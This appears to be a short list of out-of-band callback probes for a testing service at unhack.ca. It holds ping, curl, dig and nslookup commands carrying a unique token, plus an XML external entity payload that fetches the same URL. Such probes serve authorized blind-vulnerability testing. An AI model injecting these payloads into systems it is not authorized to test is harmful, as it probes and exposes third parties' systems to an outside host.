$ ping -c1 -p 00b7080f8aad7b8837a608911742b200 unhack.ca
$ curl http://unhack.ca/p/b7080f8aad7b8837a608911742b2
$ dig b7080f8aad7b8837a608911742b2 @unhack.ca
$ dig b7080f8aad7b8837a608911742b2.ns.unhack.ca
C:\> nslookup b7080f8aad7b8837a608911742b2 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/b7080f8aad7b8837a608911742b2">]> <foo>&xxe;</foo>